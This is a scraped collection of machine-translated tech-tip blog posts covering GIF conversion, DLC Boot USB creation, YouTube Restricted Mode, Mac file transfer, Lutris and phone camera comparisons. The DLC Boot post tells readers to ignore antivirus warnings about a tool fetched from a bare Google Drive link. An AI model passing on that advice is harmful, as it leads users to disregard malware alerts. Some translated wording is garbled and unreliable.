name and location where the video is stored Finally, click Export , the system will automatically export the Video to you where you have set up the archive.\n  Method 2: Convert GIF into Video Online Homepage: https://convertio.co/vn/gif-mp4/\nStep 1: You proceed to the homepage and select Choose file to upload GIF files on the system.\n  Step 2: After selecting the GIF file, the system will automatically select the Video format as Mp4. If you need to use another format, you can click to select.\nWhen the setup is complete, click Convert to begin.\n  The system will take time to upload GIFs and convert them.\n  Step 3: When the system has finished converting, select Download to download the converted video to your computer.\n  Some tools to convert GIF to Video Online\nhttps://ezgif.com/gif-to-mp4 https://giftomp4.com/en/ https://video.online-convert.com/convert/gif-to-mp4 In this article, Software Tips have shown you how to convert GIFs into Videos quickly and conveniently. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmnqKeXZ66orPErGStp12rtqWxzqw%3D\n","link":"/post/how-to-convert-gif-images-to-videos/","section":"post","tags":null,"title":"How to convert GIF images to Videos"},{"body":"USB boot or versatile USB will help users in many cases such as fixing computer errors, corrupted data, dividing the drive, creating Win install partition, partitioning the hard drive without losing data, creating a ghost file. With extremely compact device, this powerful USB boot will help you rescue your computer anywhere, without the need for a CD / DVD as before. Currently, there are many software to support users to create bootable USB such as Hiren's BootCD, Rufus tool, or DLC Boot.\nDLC Boot is integrated with many features such as support on UEFI boot and LEGACY with FAT32 USB format, support Mini Win, tools for partitioning non-data loss, driver update tool, . There are many tools Tools on DLC Boot support rich user needs of users. The following article will guide you how to create USB boot using DLC ​​Boot software.\nHow to create USB Boot, USB install Windows by Rufus Instructions for creating USB boot with Hiren's BootCD quickly Instructions to create USB install Win, USB boot with Windows 7 USB Download Tool How to use DLC Boot to create multi-purpose USB boot Step 1:\nYou download DLC Boot software according to the link below. Then extract the rar file with WinRAR, or Zip included in the computer. In the DLC Boot folder, locate the DLC file. Boot right-click and select Run as administrator .\nhttps://docs.google.com/uc?id=0BxTOYa030FZmSmFpT2JxTDFTcGc\u0026amp;export=download   Step 2:\nPlug the USB into the computer. If there is data in the USB, please transfer all the data. USB here must be at least 2GB. Next, in the DLC Boot main interface, click on the USB icon at the top of the interface.\n  A small dialog box appears to select Yes to proceed to create a USB boot.\n  Step 3:\nThe software will now detect the USB device connected to the computer. Select the USB drive on the bad computer press Create to proceed to create USB boot multipurpose by DLC Boot.\n  Next, confirm the creation of the multi-purpose USB and delete all data in the USB, click Yes to agree.\n  Step 4:\nImmediately after that, the process of creating USB boot with DLC Boot appeared. This process can take more than 10 minutes so please wait patiently.\n  When you see the process running to 100% and a message appears as shown below, it means the multi-function USB creation process is complete.\n  Step 5:\nTo check the performance of the newly created USB boot, go back to the main interface of the tool and select Other Tools .\n  Step 6:\nSelect the USB name then click on Start Qemu Test to conduct the test.\n  If the picture appears below, it means that USB boot can be used and operated effectively.\n  So we have completed the creation of multi-function USB boot with DLC Boot tool. Users need to pay attention to boot on UEFI system, USB must be FAT32 format. In the process of use, if the antivirus program sends a notice, because it detects that there are programs that interfere with the system, you can still use it safely.\nSee more:\nHow to backup and restore Windows in just 10 minutes with Acronis True Image Instructions on how to install Windows 7 from the HDD 20 ways to create the best USB boot I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyuqptlkqS8tXnVnqmsmaSeuaZ51KyZZqqVqLC2sYybsGacnJh6o7vOrQ%3D%3D\n","link":"/post/how-to-create-usb-boot-versatile-usb-rescue-by-dlc-boot/","section":"post","tags":null,"title":"How to create USB boot versatile, USB rescue by DLC Boot"},{"body":"When this mode is turned on, YouTube hides all videos containing adult content. This way, you and your family have a better and safer YouTube viewing experience.\nWhether you use a Windows or macOS computer; Android or iOS smartphone, or tablet, YouTube video is definitely your favorite entertainment and study option. However, as a global service, Google's platform contains almost all types of videos, including those containing sensitive, violent content, .\nIf you don't want such videos to appear on your YouTube, simply turn on Restricted mode.\nHow to enable YouTube restricted mode on iPhone and Android Step 1: Open the YouTube app on your device and click the avatar button in the upper right corner.\nStep 2: Select the Settings icon.\n Step 3: While iPhone users will find the option Restricted mode right at the Settings page.\nAndroid users need to select the General option to be able to access Restricted mode.\nToggle the switch next to the Restricted mode option to enable or disable it.\n How to enable YouTube restricted mode on a computer Step 1: Open YouTube.com and click the avatar button in the upper right corner.\nStep 2: Select the option Restricted mode at the bottom of the drop-down menu.\nStep 3: Turn on / off the switch next to the Restriced mode option to enable or disable it.\n How to enable YouTube restricted mode on mobile website Step 1: Open the website YouTube.com on your mobile browser and click the avatar button in the upper right corner.\nStep 2: Find and select the Settings option.\n Step 3: Select Account and then enable / disable the Restricted mode switch to enable or disable it.\n Note: YouTube filters are not always 100% accurate. So, if you want to protect your child, you'd better watch YouTube with your child or let it use YouTube Kids. Also, the restricted mode is only applicable to the device you activate it, it is not synced to other devices. This means you have to manually enable Restricted mode on each device you want.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYysnKermam2t7GMr6CopJWjwW7CyJ2cqGWimsC1vsicq6KnnmK8r3nYqKytrZKa\n","link":"/post/how-to-enable-sensitive-violent-video-restriction-on-youtube/","section":"post","tags":null,"title":"How to enable sensitive, violent video restriction on YouTube"},{"body":"The Taskbar on Windows 10 has a lot of useful uses, when users know how to customize the Taskbar to use, such as pinning folders to the Windows Taskbar for quick access. Or you can pin the drive to the Taskbar to open whenever you need it, without access to This PC in the traditional way. We can comfortably pin any drive into the Taskbar with a very simple implementation. The following article will guide you how to pin a folder to the Taskbar.\nHow to pin a drive to the Taskbar Step 1:\nIn the folder you want to pin down the Taskbar, right-click and select Create shortcut .\n  Step 2:\nReturn to the desktop, right-click the newly created drive shortcut and select Properties from the displayed list.\n  Step 3:\nNow display the dialog interface, we click on the Shortcut tab and continue to enter explorer in front of the drive name . Press Enter to continue.\n  Now the shortcut icon of the drive changes into the Explorer icon. To change back to a drive icon, in the Shortcut Properties interface, click on Change Icon .\nNow show the icon change interface. Here you enter the address C: Windowssystem32imageres.dll and press Enter to display more icons. Here you select the drive icon and then click OK to use. Finally click Apply at the interface of Shortcut Properties dialog box to apply.\n  Step 4:\nFinally, users just need to drag the shortcut of the drive down to the Taskbar and use is done. When you do not want to pin the drive under the Taskbar, right-click and select Unpin from taskbar.\n  With a simple way, users can pin the drive down the Taskbar to use. This operation is applied to all other drives in the computer.\nSee more:\n20 best tips for the Start menu and Taskbar in Windows 7 How to display the list of This PC Windows 10 drive Error losing battery icon on Taskbar on Windows 10/8/7 How to center Taskbar icons in Windows 10 I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZo3qiecOroK%2BdXam8bsDHnmStmaOgr6K%2BjK2mZqegmrtutdNmqK6hk6C5ug%3D%3D\n","link":"/post/how-to-pin-a-drive-to-the-taskbar-to-open-it-quickly/","section":"post","tags":null,"title":"How to pin a drive to the Taskbar to open it quickly"},{"body":" This wikiHow teaches you how to make a white background transparent using Microsoft Paint. If you're using Windows 10, your computer comes with an updated version of MS Paint (called Paint 3D) that allows you to remove backgrounds with...\nMethod 2of 2:\nUsing MS Paint  Open Paint. You can do this quickly by typing \"paint\" into the Windows search bar and clicking Paint in the search results. If you have Windows 10, use the \"Using Paint 3D\" method instead. It's not possible to make the white background transparent in MS Paint. This method will teach you how to cut out the part of the image you want to keep and paste it onto a different background.   Click the File menu. It's at the top-left corner of Paint.\n  Click Open.\n  Select an image and click Open. Be sure to select the image with a white background.\n  Click Color 2. It's in the toolbar at the top of the screen, to the right of the color palette.\n  Click the eyedropper icon. It's in the toolbar at the top of the screen (in the \"Tools\" panel).\n  Click a blank area of the white background. The background color will now appear in the \"Color 2\" box. Even if the color of the box was already white, this is just an extra precaution to take in case image's background has any gray or other tints to it.   Click the down-arrow   under ″Select.″ It's in the toolbar that runs along the top of Paint. This displays a drop-down menu.   Click Transparent selection. It's at the bottom of the menu. A check mark will appear next to the option to show that it's selected. The Transparent Select tool ignores the white background when you copy images in Paint and paste them into another image. The Transparent Select tool ignores the white background when you copy images in Paint and paste them into another image.   Click the down-arrow   under ″Select″ again. This re-opens the menu.   Click Rectangular selection. It's at the top of the menu. This tool lets you draw a box around the subject to select it.\n  Select the part of the image you want to keep. Click and drag the mouse until you've surrounded the entire subject, then lift your finger from the button. A dotted rectangular selection box will appear around the selected area. Everything within your selection that doesn't match the color in \"Color 2\" will be preserved. If the background isn't completely white (such as if there are shadows or objects in the background you don't want to keep), choose Freeform selection instead so you can trace around just the part of the image you want to keep.   Click Copy. It's near the top-left corner of Paint in the \"Clipboard\" panel. This copies your selection.\n  Create or open a new file. Now that your selection is copied, you can open the image you want to paste it on. You'll be prompted to save or discard the changes to the image you're working on before the new one will open. Click File in the upper-right corner. Click New to create a new file, or click Open to open a different image.   Click Paste. It's near the top-left corner of Paint. This pastes the selected part of the previous image onto the new image. Click and drag the pasted selection to move it. There may still be some white around the edges of the image you pasted. Keep reading to learn how to fix this.   Click Color 1. It's next to the palette at the top of the screen.\n  Click the eyedropper tool in the toolbar.\n  Click the background next to the white edges. If there is any white around the edges of the image you pasted, click the background right next to the white edge to select the color directly behind the white edge. This will allow you to paint the white areas to match the selected color.\n  Click the paintbrush tool. It's the paintbrush icon to the right of the \"Tools\" panel at the top of Paint. You can click the arrow pointing down below the brush to select different brush types.   Paint over the white edges. Use the brush tool to color over any white edges that may remain around the object you pasted. Zoom in and try not to color within the image. If the background is not a solid color, you may need to use the eyedropper tool more than once. Click the drop-down menu below Size to change brush sizes. Use a larger brush size to color over the bulk of the remaining white edge, then zoom in and switch to a smaller brush for precision. Look for any white parts of the image that the Transparent Select tool didn't copy. Use the brush tool to color them back in. If you accidentally color over a part of the image you don't want to, press Ctrl+Z to undo the mark.   David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYytn55lp522tbGMm5ico5envLa6w2agp2WdnrCzu9Kona1loJa2r8A%3D\n","link":"/post/how-to-remove-the-white-background-in-microsoft-paint/","section":"post","tags":null,"title":"How to Remove the White Background in Microsoft Paint"},{"body":" This wikiHow teaches you how to move files from one Mac computer onto another Mac computer. Turn on Wi-Fi and Bluetooth for both Macs. In order to use AirDrop, both Wi-Fi and Bluetooth must be enabled on both of your Macs:\nMethod 1of 4:\nUsing AirDrop  Turn on Wi-Fi and Bluetooth for both Macs. In order to use AirDrop, both Wi-Fi and Bluetooth must be enabled on both of your Macs: Wi-Fi — Click the \"Wi-Fi\"  icon in your Mac's menu bar, then click Turn Wi-Fi On in the drop-down menu. You'll also need to select and sign into a Wi-Fi network if your Mac doesn't automatically connect to one. Bluetooth — Open the Apple menu  , click System Preferences..., click Bluetooth, and click Turn Bluetooth On on the left side of the window.   Make sure your Macs are on and within 30 feet (9 meters) of each other. Since AirDrop won't work reliably past around 30 feet, you'll need to make sure that your Macs are near each other (preferably in the same room).[1] Appliances, walls, and floors can all prevent AirDrop from working within the 30-foot range. Both Macs need to be turned on in order to complete the file transfer.   Open   Finder. Click the Finder app icon, which resembles a blue face, in your Mac's Dock.   Turn on AirDrop if necessary. If AirDrop is disabled on either of your Macs, you can enable it by clicking Go at the top of the screen, clicking AirDrop in the resulting drop-down menu, clicking the AirDrop: Off link at the bottom of the window that appears, and clicking Everyone in the drop-down menu. You can then close the AirDrop window.\n  Select files to send. Go to the location of the files you want to transfer, then hold down ⌘ Command while clicking each file you want to transfer.\n  Hold down Control while clicking a selected file. Doing so will prompt a drop-down menu.\n  Select Share. It's in the drop-down menu. Selecting it prompts a pop-out menu to appear.\n  Click AirDrop. This option is in the pop-out menu. Doing so opens the AirDrop window.\n  Select your other Mac's username. Click the name of the account you use for your other Mac. This will send a file transfer request to the other Mac.\n  Accept the transfer on your other Mac. When prompted, click Accept in the AirDrop notification on the other Mac. The AirDrop files should begin downloading into your Mac's Downloads folder.\n  Click Done on the first Mac. Doing this will close the AirDrop menu.\n Method 2of 4:\nUsing an External Hard Drive  Plug a flash drive or external hard drive into a Mac. Using the drive's USB cable or connector, attach the drive to one of your Mac's USB ports. If you have a newer MacBook, you may not have a traditional rectangular USB port. If so, you'll need a USB to Thunderbolt 3 adapter. If this is your first time plugging in the hard drive, you may need to format it. If so, make sure you choose Mac OS Extended (Journaled) as the format. EXPERT TIP\n Chiara Corsaro\nGeneral Manager of macVolks, Inc. Chiara Corsaro is the General Manager and Apple Certified Mac \u0026amp; iOS Technician for macVolks, Inc., an Apple Authorized Service Provider located in the San Francisco Bay Area. macVolks, Inc. was founded in 1990, is accredited by the Better Business Bureau (BBB) with an A+ rating, and is part of the Apple Consultants Network (ACN).  Chiara Corsaro\nGeneral Manager of macVolks, Inc.\nUsing a USB device is one of the easiest ways to backup and/or transfer files. To copy files to a USB device, connect your USB flash drive or external hard drive to your computer, locate the file you want to copy, then drag the file to the USB device. When you are ready to transfer that file to another system, connect your USB device to the other computer, click on the USB device icon, and drag the file to the other machine's desktop.\n  Open   Finder. Click the Finder app icon, which resembles a blue face, in your Mac's Dock.   Go to the files you want to transfer. Open the folder in which the files you want to transfer are located.\n  Select the files. Hold down ⌘ Command while clicking each file you want to copy. If you want to copy the entire folder's contents, click one file, then press ⌘ Command+A.   Copy the files. Press ⌘ Command+C to do so.\n  Click your external drive's name. It's in the lower-left side of the Finder window. Doing so opens your external drive.\n  Paste in the copied files. Press ⌘ Command+V to do so. Your files will appear in the external drive's window.\n  Eject and remove the drive. Click the \"Eject\"  icon to the right of the drive's name, then unplug the drive.   Plug the drive into your other Mac. This should be the Mac onto which you want to transfer your files.\n  Open   Finder, then click your external drive's name. It's in the lower-left side of the Finder window. You should see the files you copied onto the drive here.   Move the files onto your Mac. Click and drag the files from the drive onto your desktop (or into your preferred folder). This will place the files on your Mac.\nEXPERT TIP\n Chiara Corsaro\nGeneral Manager of macVolks, Inc. Chiara Corsaro is the General Manager and Apple Certified Mac \u0026amp; iOS Technician for macVolks, Inc., an Apple Authorized Service Provider located in the San Francisco Bay Area. macVolks, Inc. was founded in 1990, is accredited by the Better Business Bureau (BBB) with an A+ rating, and is part of the Apple Consultants Network (ACN).  Chiara Corsaro\nGeneral Manager of macVolks, Inc.\nTry using Time Machine if you want to do a full system backup or restoration. Once configured, Time Machine will backup anything and everything that is on your computer automatically, each time you connect your external hard drive to your computer. If you use Time Machine, please make sure you get an external hard drive that is twice the size of your internal hard drive, as Time Machine backs up not just your data files (eg: photos, documents, desktop items, etc.), but also your programs, operating system, and settings.\n Method 3of 4:\nUsing a Thunderbolt 3 Bridge  Make sure both of your Macs support Thunderbolt 3. Thunderbolt 3 (also known as USB-C) ports resemble oval slots; you'll find them on the sides of your MacBook housing or on the back of your iMac monitor. If your Macs don't both use Thunderbolt 3, you can't use this method.   Buy a Thunderbolt 3 cable. Thunderbolt 3 cables have a USB-C connector at each end of the cable. You can find these cables online or in tech department stores.\n  Connect the two Macs with the cable. Plug one end of the cable into one Mac's Thunderbolt 3 port, then plug the other end into your other Mac's Thunderbolt 3 port.\n  Open the Apple menu   . Click the Apple logo in the top-left corner of the screen. A drop-down menu will appear. Make sure you're doing this on Mac from which you want to send files.   Click System Preferences…. It's in the drop-down menu.\n  Click Network. This option is a globe-shaped icon in the System Preferences window.\n  Click ＋. It's at the bottom of the left-hand column of connections. A pop-up window will appear.\n  Click the \"Interface\" drop-down box. You'll find this near the top of the pop-up window. Clicking it prompts a drop-down menu.\n  Click Thunderbolt Bridge. It's in the drop-down menu.\n  Click Create. This is at the bottom of the pop-up window.\n  Click Apply. It's in the bottom-right corner of the screen.\n  Add the Thunderbolt Bridge on the other Mac. You'll do this using the same process as above: Open System Preferences, then click Network. Click ＋, then select Thunderbolt Bridge in the \"Interface\" drop-down menu. Click Create, then click Apply.   Wait for both Macs to recognize the Thunderbolt Bridge connection. Once the colored dot to the left of the \"Thunderbolt Bridge\" heading turns from red to yellow, you can proceed. If it takes more than a couple of minutes for your Mac's Thunderbolt Bridge connection to switch, close and re-open the Network window.   Note the IP address on the target computer. The address to the right of the \"IP Address\" heading is the address you'll use to connect to the current computer.\n  Enable file sharing for the first Mac. Make sure you're doing this on the Mac to which you want to transfer files: Click the ⋮⋮⋮⋮ icon in the top-left corner of System Preferences. Click Sharing. Check the \"File Sharing\" box on the left side of the window.   Connect to the Mac. On the Mac on which you did not enable File Sharing, do the following: Open  Finder or click the desktop. Click Go at the top of the screen. Click Connect to Server... in the drop-down menu. Enter your other Mac's IP address that you noted. Click Connect.   Sign in. Enter the username and password you use to log into the Mac to which you're connecting, then click Connect.\n  Click Macintosh HD. You'll see this option in the pop-up window that appears. Doing so selects your other Mac's hard drive as the target location. If you have a solid state drive (SSD), you'll click the SSD option here instead.   Click OK. It's at the bottom of the pop-up window.\n  Transfer files to the other Mac. You can copy files from anywhere on your computer and then add them to your other Mac by doing the following: Click the IP address (or Mac name) in the left-hand column of Finder. Go to the folder in which you want to paste the files (e.g., Desktop) in the Finder window. Press ⌘ Command+V. Wait for the files to appear on the other Mac.  Method 4of 4:\nUsing a Time Machine Backup  Understand when to use this method. If you want to migrate your Mac's preferences, files, and other information onto a new Mac, you can use a Time Machine backup from your old Mac to do so. This method shouldn't be used for regular file transfers.   Create a Time Machine backup. If you don't already have a Time Machine backup, create one using a blank hard drive before proceeding.\n  Attach your Time Machine hard drive to a Mac. Plug your Time Machine drive into the Mac that you want to set up using the Time Machine backup. If you have a newer MacBook, you may not have a traditional rectangular USB port. If so, you'll need a USB to Thunderbolt 3 adapter.   Restart your Mac. Click the Apple menu  , click Restart..., and click Restart when prompted. Your Mac will begin to restart.   Press and hold ⌘ Command and R. You'll need to do this as your Mac is restarting.\n  Release the keys when you see the Utilities window appear. This window will have a few options (e.g., Restore from Time Machine Backup) in it.\n  Click Restore from Time Machine Backup. It's in the middle of the window.\n  Click Continue twice. It's in the bottom-right corner of the window.\n  Click Time Machine Backup. This option is in the middle of the window.\n  Click Continue. It's in the bottom-right corner.\n  Select the backup you want to use. Click the name and date of the backup from which you want to restore this Mac.\n  Click Continue. It's at the bottom of the window. Your Mac will begin restoring your Time Machine backup; once the restore finishes, you should be able to access your old Mac's files and settings on your new Mac.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZJ%2BhnJrAbq7Era6enZ5iwbi7jKaYnKs%3D\n","link":"/post/how-to-transfer-files-between-two-macs/","section":"post","tags":null,"title":"How to Transfer Files Between Two Macs"},{"body":"Now, users can play Blu-ray discs on Linux systems only by using Windows software via Wine. However, this process can cause many headaches and that's where Lutris plays its role.\nPrepare Before installing Lutris, the website recommends installing a recent version of Wine. Although you can install programs via Lutris, installing programs through Wine first, then running their executables via Lutris is easier.\nIf you're lucky, your file manager will come with Wine, allowing you to simply click on the Windows program to launch it. If not, you'll have to do things the harder way, by opening a Terminal in the program's directory and typing:\nwine your-installed-application.exe With Lutris, when you install each application, try to place them somewhere that you can easily find. A simple folder in the main directory (try browsing from drive Z :) will make things a lot easier in the next steps.\nOf course, Blu-ray players can run through Wine without Lutris. However, most likely the performance is not stable. Lutris, meanwhile, offers many easy ways to boost performance.\nLutris configuration If you've never used Lutris, it's a game management system based on preconfigured 'runners' programs to run games from within Lutris. For Windows programs, Lutris has a collection of Wine variants that can work independently of your system version - multiple versions can be used at the same time and you can even use Use Proton if Steam is installed.\nTo get started, you'll first need the Wine runner. Depending on your version, the main menu must be somewhere on the top left. Click Lutris\u0026gt; Manage runners .\nClick on Manage versions A new window will appear. Scroll down the list until you find the Wine section , then click Manage versions . This will open a new window with a list of Wine versions, each with its own adjustment. Choose the latest major version first (lutris-5.7 at the time of writing), plus any variation of it to try later. Click the check box next to the item to start the download.\nClick the check box next to the item to start the download Add player Return to the main screen, click the Add Game button to create a new menu item (the + sign at the top of the window).\nA new window will appear opening in the Game info tab . Name the entry and select Wine from the Runner list .\nName the entry and select Wine from the Runner list Select the Game options tab . For the Executable field , click Browse and select the .exe file of the Blu-ray program you have installed.\nIf you open the Runner options tab , you can choose your Wine / Proton version and the three most important options for performance: Enable DXVK, Enable VKD3D and Enable Esync .\nEach of these options can make a big difference to playback but may also affect compatibility. It's best to start with the latest Lutris version of Wine, with all options disabled. If your Blu-ray player works at launch, performance might be bad, but at least you have a good starting point. Clicking Save will bring you back to the main screen.\n3 most important options for performance: Enable DXVK, Enable VKD3D and Enable Esync Try checking the Blu-ray application by double clicking on the entry or pressing the Play button . The first time you run Wine through Lutris, you will get a number of Wine configuration windows, requiring Download Mono and Gecko components (Download Mono and Gecko components ). Just download them 1 time only.\nDownload the Mono and Gecko components Finally, the application will run. If nothing happens, don't panic. A number of different options can make it work. Right-click on the application's Lutris section and select Configure. Open the Runner options tab and try another version of Wine or Proton version. Click Save and try again.\nIf playback is paused or there are errors, try turning on Esync. DXVK and VKD3D options will help accelerate hardware if supported. It is possible that one or more of these options has prevented your player from working, but the right combination will help you get closer to a reliable Blu-ray performance.\nAfter randomly selecting a number of free players, the article author was successful with Leawo, PotPlayer (32-bit), Aurora and Free Blu-ray Player. Fortunately, with Leawo, using lutris-fshack-5.7 and DXVK is disabled.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqtwdOroKxlpKR6sbjAsmSbpKWnrrp5zqdkpaGeqsU%3D\n","link":"/post/how-to-use-lutris-to-play-blu-ray-on-linux/","section":"post","tags":null,"title":"How to use Lutris to play Blu-Ray on Linux"},{"body":"The Skype app is getting more and more popular and used, you can message and chat.\nBut there are friends who have changed your Skype account, the ones you see are inappropriate or for some reason you want to unfriend or block your friends on Skype. The following article shows you how to unfriend and block friends on Skype.\nStep 1: You access the Skype application.\n  Step 2: To cancel your friends on Skype, you find your friend need to disconnect and then right-click and select that friend Remove from contacts (Remove from Contacts).\n  Step 3: If you want to block a friend on Skype, you right-click on a friend in the friends list, and select the Block this person (Block Old Messages).\n  Thus, the article above has guided you how to unfriend and block friends on Skype. You can do it for the friends you want to cancel or block your friends. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZK6mlqe2prrDZpinnF2XubCvymasrJ2iqHqwuoysorKolQ%3D%3D\n","link":"/post/instructions-to-unfriend-and-block-users-on-skype/","section":"post","tags":null,"title":"Instructions to unfriend and block users on Skype"},{"body":"IObit Uninstaller 7 Pro is a software that helps users to remove unnecessary programs to make their computer run faster and more secure. With powerful features, IObit Uninstaller 7 Pro also supports creating restore points to prevent you from uninstalling system software, scanning junk files on the system, tweaking the registry to optimize the computer system.\nIObit Uninstaller is rated as one of the best programs to uninstall programs on your computer. Its advantage is that it can remove many programs at the same time to help users save time and effort.\n  Currently, on the SharewareOnSale page, there is a free license program for IObit Uninstaller 7 Pro until 16:00 on May 23, 2018. If you need to use it, please quickly register to own this free program to remove this great program.\nHow to own copyright free IObit Uninstaller 7 Pro\nStep 1: Visit the SharewareOnSale page according to the link below -\u0026gt; click on DOWLOAD IOBIT UNISTALLER 7 PRO NOW.\nhttps://sharewareonsale.com/s/free-iobit-uninstaller-6-pro-100-discount   Step 2: Fill in the required information and click on GIVE IT TO ME .\nStep 3: Installation file will be automatically downloaded, and copyright license information will appear.\nStep 4: Install the installation as usual.\nStep 5: Start IObit Uninstaller 7 Pro, at the first interface of the program click on Enter Code to activate IObit Uninstaller 7 Pro license.\n  Step 6: New window appears, enter the License Key received in step 3 -\u0026gt; click Register Now to activate IObit Uninstaller 7 Pro license.\n  Step 7: Dialog The license has been activated successfully! appears that you have successfully registered for IObit Uninstaller 7 license.\n  See more:\nRemove \"rooted\" programs that have not been removed completely on Windows 7, XP 10 tips to remove programs that cannot be uninstalled Instructions from A-Z how to remove advertising programs on Windows computers ncG1vNJzZmismaXArq3KnmWcp51kvKeyxKtkoqeSnsFuwc2ipayskaG5pr6McGSpqp9iwamxjKymn6ynlr%2BmedOoZKudnaTDpnnCqKSpraSav2680aieq5mdqHqnu9FmcHJxXZ7AbrLRnpw%3D\n","link":"/post/offer-iobit-uninstaller-7-pro-the-software-to-remove-computer-programs-for-9-99-is-free/","section":"post","tags":null,"title":"Offer IObit Uninstaller 7 Pro, the software to remove computer programs for $ 9.99, is free"},{"body":"OnePlus' latest flagship is the OnePlus 8 Pro. Along with its silky blue finish, the phone packs a multicamera setup that includes a standard zoom, a super wide-angle lens and a 3x zoom. It impressed Lynn La in her\u0026nbsp;full OnePlus 8 Pro review, but how does this camera system stack up against the iPhone 11 Pro, one of the best phone cameras around?\u0026nbsp;\n The 11 Pro has a similar camera setup, which also includes a standard zoom, a super wide-angle lens and a 2x zoom. The camera on this phone has seriously impressed me -- it even replaced my DSLR on a recent road trip around Scotland -- so the OnePlus 8 Pro has a lot to live up to here.\nOnePlus 8 Pro vs. iPhone 11 Pro camera specs \nOnePlus 8 ProiPhone 11 ProCamera48-megapixel main, 8-megapixel telephoto, 48-megapixel ultra-wide, 5-megapixel 'color filter' 12-megapixel f/1.8 (wide), 12-megapixel (ultra-wide), 12-megapixel (telephoto)Front-facing camera16-megapixel 12-megapixelVideo capture4K 4KSlow motion video240fps, 1080p 240fps, 1080pPortrait modeYes YesNight modeYes YesProcessorQualcomm Snapdragon 865 Apple A13 Bionic\nThe coronavirus lockdown means it's tricky to get out and do my usual full suite of tests, but I've found the odd moment while taking my daily walks to get some quick snaps for comparison. I'll expand on this just as soon as I'm able to spend some proper time outdoors.\u0026nbsp;\nSee OnePlus 8 Pro at OnePlus\n   In these first test shots, taken in Edinburgh's beautiful Dean Village, there's not much to differentiate the photos taken from the phones' standard lenses. Both have natural-looking colors and both have achieved even exposures. There's tons of detail on the brickwork on both images when zoomed in, too. The iPhone\u0026nbsp;photo might just have the edge for me though as it's got a slightly richer blue sky and a touch more vibrance from the orange tones in the buildings on the left. It's a tiny difference though and mostly comes down to personal preference.\u0026nbsp;\n   There's a more noticeable color shift when using the wide-angle lenses. While the iPhone 11 Pro's shot maintains that rich blue sky, the OnePlus 8 Pro's shot has warmed the scene a bit more, which has reduced some of the vibrancy in the sky. Again, it's not a big difference and it might just come down to a shift in the white balance between taking the two photos.\u0026nbsp;\n   The difference is much the same in this wide-angle shot. The iPhone has captured a deeper blue in the sky, as well as a richer tone on the bridge itself.\u0026nbsp;\n   Another test of the wide lens, with similar results. Notice the depth of color in the blue sky in the iPhone's shot, as well as the deep greens on the grass on the riverbank. In this example, it's more obvious that iPhone 11 Pro has richer contrast and saturation. That said, exposure on both shots remains excellent, and up close, there's almost no difference in the fine details.\u0026nbsp;\n   The most noticeable difference between the two zoom modes is that the OnePlus 8 Pro can go further. It has a 3x zoom lens, which will let you get close in on the details than you could with the iPhone's 2x zoom. The difference isn't vast -- it's not like using the Samsung Galaxy S20 Ultra's 100x \"space zoom\" -- but it could be enough to help you get the shot if you can't get close enough to your subject.\u0026nbsp;\nThere's still a noticeable shift in colors and contrast in the shot, but neither shot is spot on. The OnePlus 8 Pro again looks a little desaturated, with a slight magenta shift to the color tone, while the iPhone 11 Pro seems to have shifted more towards the green, giving a different color cast altogether.\u0026nbsp;\n   In this zoom test however, the colors in both shots are almost identical. They're similar images, but I'd say in this example, the OnePlus 8 Pro might have the richer contrast. It has the bigger zoom, so again it's allowed me to get closer into my subject than I could with the iPhone.\u0026nbsp;\n   Another similar shot from the standard zoom lenses on each phone. Exposure is spot on and there's not a lot of difference in contrast either. The OnePlus 8 Pro has shifted its colors toward the magenta side, while the iPhone's lean a little more on the green, but it's a difference that's so small it likely won't matter and will again come down to your personal preference.\u0026nbsp;\n   It's difficult to pick a strong winner from these two shots of a woodland pathway. The iPhone's shot is brighter but the OnePlus's attempt looks more saturated, with richer tones particularly on the dirt path. Personally, I prefer the OnePlus 8 Pro's image.\u0026nbsp;\n   Turning to night mode now and it's clear the iPhone 11 Pro has the edge here. Its shot is more crisp, it's brighter in the sky and the OnePlus 8 Pro's shot seems to be suffering from lens flare from a nearby streetlight, which spoils the shot -- something the iPhone has avoided.\u0026nbsp;\n   That lens flare in night mode continues to be an issue here, with the OnePlus 8 Pro's shot looking like there's a big orange patch in the left side of the image. The iPhone's photo doesn't have the same issue, resulting in a better-looking image.\nOverall I'm impressed with how well the OnePlus 8 Pro performed in this test, particularly given its cheaper price tag. While it doesn't consistently provide the same rich colors as the iPhone, it still manages to take some great-looking shots with spot-on exposure. It takes the win when it comes to zoom ability, but If you're particularly into your night mode images, the iPhone is still the way to go.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZmlhYr2zu4yvqmannpq9rcHSZm9mqKKkeqStzJ6pmqtdmLyuvMCrnJ1lo5qybsDHnmSpoJ%2BpvLR50qKbnmWSrnq0tcOe\n","link":"/post/see-the-photos-side-by-side/","section":"post","tags":null,"title":"See the photos side by side"},{"body":"Still know that PUBG Mobile players are supported a lot of tools to make it easier to control when playing games on the phone. But most if you want to spend TOP 1 , players still have to use their own control skills in fighting.\nSo if you see the players from the Android emulator, they are still equal or even better in fighting. The tips under this article will help you control the characters in the game better just by installing the settings in the game or by simple actions in the game.\nDownload PUBG Mobile for Windows Download PUBG Mobile for iOS Download PUBG Mobile for Android 1. Use Goryscope mode   This mode is located in Basic in the Game settings section, Gyroscope has two custom styles that control the barrel or the character depending on how you choose. To make it easier to imagine, it is the same as in racing games, when you rotate the phone, the game's exterior and characters will shift the perspective according to your movements, more convenient when you have to use the touch to move. turn the character's perspective.\nSo you will be more dominant in the long and mid-range battles when your touch is not sensitive. You can also customize Gyroscope 's sensitivity in Sensitivity section .\n2. Reinstall the control menu   \nIn the Controls section you can perform the installation according to the type of control you like, there are three ways to control for Mobile gamers, making it easy for gamers to control according to their pros.\n  \nIn addition to selecting the default control preset that PUBG Mobile comes preinstalled with, you can also adjust the button and icon icons that display character parameters or game parameters according to a convenient position to play.\n3. Use FPP perspective when playing   \nWhen using this perspective, players will see that everything is larger than the TPP perspective, which is completely beneficial for players 